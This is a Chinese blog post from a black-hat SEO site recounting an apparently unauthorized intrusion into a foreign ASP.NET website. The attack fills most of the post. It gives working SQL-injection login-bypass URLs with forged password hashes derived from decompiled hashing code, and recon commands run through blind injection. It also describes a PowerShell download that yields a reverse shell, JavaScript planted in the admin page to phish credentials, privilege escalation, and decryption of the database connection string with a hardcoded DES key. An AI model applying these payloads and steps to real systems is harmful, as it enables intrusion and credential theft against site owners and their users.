黑帽SEO
免费发布泛目录 蜘蛛池 黑帽SEO工具

实战渗透境外站过程

  一、目标环境

  操作系统:Windows Server 2008 R2

  服务器容器:IIS 7.5

  应用脚本:ASP.NET

  数据库:MSSQL

  二、注入点

  网站只有一个登陆口,登陆口存在SQL注入~~~遇到这种情况,

  三种处理方式:

  注入获取数据,没有显示位,无法报错,只能盲注,速度是比较慢的。

  命令执行,可以直接命令执行获取shell。

  万能密码,也是注入利用方式的一种。

  登录语句构造,这种情况是针对第三种情况失效的采用的。

  登录语句构造

  万能密码也是利用的注入点的方式进行登录,通常情况下语句如下:

  SELECT * FROM ADMIN WHERE USER=$pwd AND PWD=$pwd

  此处不能用万能密码,服务器应该是先利用用户名获取数据库信息,然后利用比较密码进行登录~~~这种时候通常就需要构造语句来登录,大致语句如下:

  username=’1′ and 1=2 union select ‘1’,’admin’,’password’– –

  对于密码字段,我就测试了MD5以及明文,构造出来的语句如下

  http://www.0dayhack.com/checklogin?txtPwd=123456&txtName=admin’ or 1=1 UNION ALL SELECT NULL,’e10adc3949ba59abbe56e057f20f883e’,’e10adc3949ba59abbe56e057f20f883e’,NULL,’e10adc3949ba59abbe56e057f20f883e’,NULL,’e10adc3949ba59abbe56e057f20f883e’,NULL,NULL,NULL,’e10adc3949ba59abbe56e057f20f883e’,NULL,NULL,’e10adc3949ba59abbe56e057f20f883e’,’e10adc3949ba59abbe56e057f20f883e’–

  结果还是错误可能是密码加密方式不对吧

  命令执行

  因为是盲注,当时看它执行命令的时候按照以下几点来做:

  判断站库分离

  直接写webshell

  直接上马

  我当时没有判断站库分离,这种小站十个有十个都不会分离。于是,差不多就按照如下步骤进行了:

  分区数目:wmic diskdrive get partitions /value,只有一个分区,

  系统盘符:cd,系统盘符是C:

  寻找网站路径:c: & dir /s/b logo.png,居然没有!?!?

  查看是否站库分离:select host_name()、select @@servername结果一致实战渗透境外站过程,没有站库分离。

  IIS默认的网站目录是C:/Inetpub/wwwroot,看了一下~~~没有什么东西,应该是管理员重新配置了,网站虽然不大,但是因为是盲注,就没有挨着挨着看了,准备其它思路。

  bitsadmin文件下载,提示Unable to add file to job – 0x800704dd,说不能联网,感觉是当前账号权限过低~~~

  powershell文件下载,成功反弹

  三、代码审计

  使用的工具为IL Spy

  登录部分的代码为:

  private void CheckLogin() { string name=Utils.GetQurryString(“txtName”); string pwd=Utils.GetQurryString(“txtPwd”); Admin bll=new Admin(); this.model=bll.GetModelByName(name); if (this.model !=null && this.model.ID > 0) { if (!this.IsLock()) { if (this.model.Pwd==SecurityHelper.DifferentMD5(pwd)) { int _Exp=0; Cookies.AddCookies(“Manage”, “userid”, SecurityHelper.Encrypt(this.model.ID.ToString()), _Exp); Cookies.AddCookies(“Manage”, “username”, SecurityHelper.Encrypt(this.model.Name.ToString()), _Exp); Cookies.AddCookies(“Manage”, “lastlogintime”, SecurityHelper.Encrypt(this.model.LastLoginTime.ToString()), _Exp); this.model.LoginCount++; this.model.LastLoginTime=DateTime.Now; this.model.ErrorCount=0; this.model.LastLoginIP=Utils.GetClientIP(); int res=bll.Update(this.model); if (res > 0) { AjaxMsgHelper.AjaxMsg(“0”, “OK”, “登录成功”, “/home/index”); new ZY_Log().AddLog(0, “管理员账号:” + name + “登录成功!”); } else { AjaxMsgHelper.AjaxMsg(“2”, “Error”, “系统繁忙”); } base.Response.End(); } else { this.ErrPwdDo(); AjaxMsgHelper.AjaxMsg(“2”, “Error”, “密码错误” + this.ErrrorNum + “次:连续错误5次,帐号将被锁住”); base.Response.End(); } } else { AjaxMsgHelper.AjaxMsg(“2”, “Error”, “由于您连续5次输入密码错误,为保护你的帐号安全,请30分钟后再登录”); base.Response.End(); } } else { AjaxMsgHelper.AjaxMsg(“1”, “Error”, “用户名不存在!”); base.Response.End(); } }

  代码是根据用户名获取数据,然后比较密文~~~看看DifferentMD5()函数,不是正经的加密方式。

  public static string DifferentMD5(string str) { string Md5Str=FormsAuthentication.HashPasswordForStoringInConfigFile(str, “MD5”).ToLower(); string SHA1Str=SecurityHelper.SHA1(str); return Md5Str.Substring(2, 8) + “y” + SHA1Str.Substring(4, 6).ToLower() + Md5Str.Substring(13, 11); }

  于是,第一次构造出来的语句是:

  http://www.0dayhack.com/checklogin?txtPwd=666666&txtName=admin’ UNION SELECT 5,’1′,’79eaf3c8y678a0b04de153469d’,NULL,’1′,NULL,’1′,NULL,NULL,NULL,’1′,NULL,NULL,’1′,’1′–

  提示系统错误0001,当我把密码修改为错误的密码,提示密码错误。也就是密码对了,是在后面操作出现了其它系统错误,后来证实是字段类型不对应导致的~~~看了看模型部分的代码,如下:

  SqlParameter[] parameters=new SqlParameter[] { new SqlParameter(“@ID”, SqlDbType.Int, 4), new SqlParameter(“@Name”, SqlDbType.NVarChar, 100), new SqlParameter(“@Pwd”, SqlDbType.NVarChar, 500), new SqlParameter(“@LastLoginTime”, SqlDbType.DateTime, 8), new SqlParameter(“@LastLoginIP”, SqlDbType.NVarChar, 100), new SqlParameter(“@LoginCount”, SqlDbType.Int, 4), new SqlParameter(“@RegIP”, SqlDbType.NVarChar, 100), new SqlParameter(“@AddTime”, SqlDbType.DateTime, 8), new SqlParameter(“@UpdateTime”, SqlDbType.DateTime, 8), new SqlParameter(“@Effect”, SqlDbType.Int, 4), new SqlParameter(“@Memo”, SqlDbType.NVarChar, 1000), new SqlParameter(“@ErrorCount”, SqlDbType.Int, 4), new SqlParameter(“@LastErrTime”, SqlDbType.DateTime, 8), new SqlParameter(“@RealName”, SqlDbType.NVarChar, 100), new SqlParameter(“@Phone”, SqlDbType.NVarChar, 100) };

  重新构造出来的语句是

  http://www.0dayhack.com/checklogin?txtPwd=666666&txtName=admin’ UNION SELECT 1,’testuser’,’79eaf3c8y678a0b04de153469d’,’01 21 2016 12:00AM’,’ip’,1,’ip’,’01 21 2016 12:00AM’,’01 21 2016 12:00AM’,1,’memo’,1,’01 21 2016 12:00AM’,’real_name’,’110′–

  提示:登录成功,其实在上面一步的时候虽然提示系统错误0001,但cookie已经设置了,访问后台成功

  四、钓鱼

  虽然有权限了,但是后台用户的密码还是不能解密,因为我没有拿到管理员的账号,这个时候想到网站后台密码和服务器的密码是一样的啊,默默地修改了后台页面,写了一个JS插了进去,等待管理员上钩,代码很简答,就不放代码了。过了一天,看了看,果然在自己的服务器找到了用户名密码,不过没什么用。

  五、提权

  初略看了看系统的补丁情况,基本上打得差不多了,最后还是找到一个没打补丁的漏洞提权成功,具体过程不再复述。hash读出来了,但是没法登陆

  六、其它分析

  中途在查看服务器文件的时候发现一些可疑的文件,放到virustotal分析了一下,果然是被人挂马了。而且成为了旷工~~~这里不再做分析了,恶意程序的分析并不擅长。

  七、数据库链接字符串解密

  拿到权限之后,发现web.config中数据库连接字符串是加密了的。这里很大部分原因是因为自己没有开发过asp.net。我查阅了一下资料,字符串加密一般有两种方式~一种是利用自带的工具aspnet_regiis.exe,一种就是在asp.net程序连接数据库之前去解密。这里属于第二种

  数据库连接通常在数据访问层(DAL Data Access Layer)层,而且asp.net中但凡设计到数据库操作,一般都会涉及到SqlHelper类,果不其然,在这个类中发现了解密的代码。

  public class SqlHelper { public static int CommandTimeout=30; public static string ConnectionString=SecurityHelper.Decrypt(ConfigurationManager.ConnectionStrings[“DBconn”].ConnectionString); public static SqlConnection GetSqlConnection() { return new SqlConnection(SqlHelper.ConnectionString); } }

  public static string Decrypt(string pDecrypt) { string result; try { string key=”abcdefgH”; DESCryptoServiceProvider oDESCryptoServiceProvider=new DESCryptoServiceProvider(); byte[] inputByteArray=new byte[pDecrypt.Length / 2]; for (int x=0; x < pDecrypt.Length / 2; x++) { int i=Convert.ToInt32(pDecrypt.Substring(x * 2, 2), 16); inputByteArray[x]=(byte)i; } oDESCryptoServiceProvider.Key=Encoding.ASCII.GetBytes(key); oDESCryptoServiceProvider.IV=Encoding.ASCII.GetBytes(key); MemoryStream oMemoryStream=new MemoryStream(); CryptoStream oCryptoStream=new CryptoStream(oMemoryStream, oDESCryptoServiceProvider.CreateDecryptor(), CryptoStreamMode.Write); oCryptoStream.Write(inputByteArray, 0, inputByteArray.Length); oCryptoStream.FlushFinalBlock(); result=Encoding.Default.GetString(oMemoryStream.ToArray()); } catch (Exception ex_B5) { result=""; } return result; }

未经允许不得转载:黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程 » 实战渗透境外站过程
分享到: 更多 (0)

黑帽SEO-实战SEO技术培训、泛目录站群、蜘蛛池、流量技术教程

不做韭菜坚决不做韭菜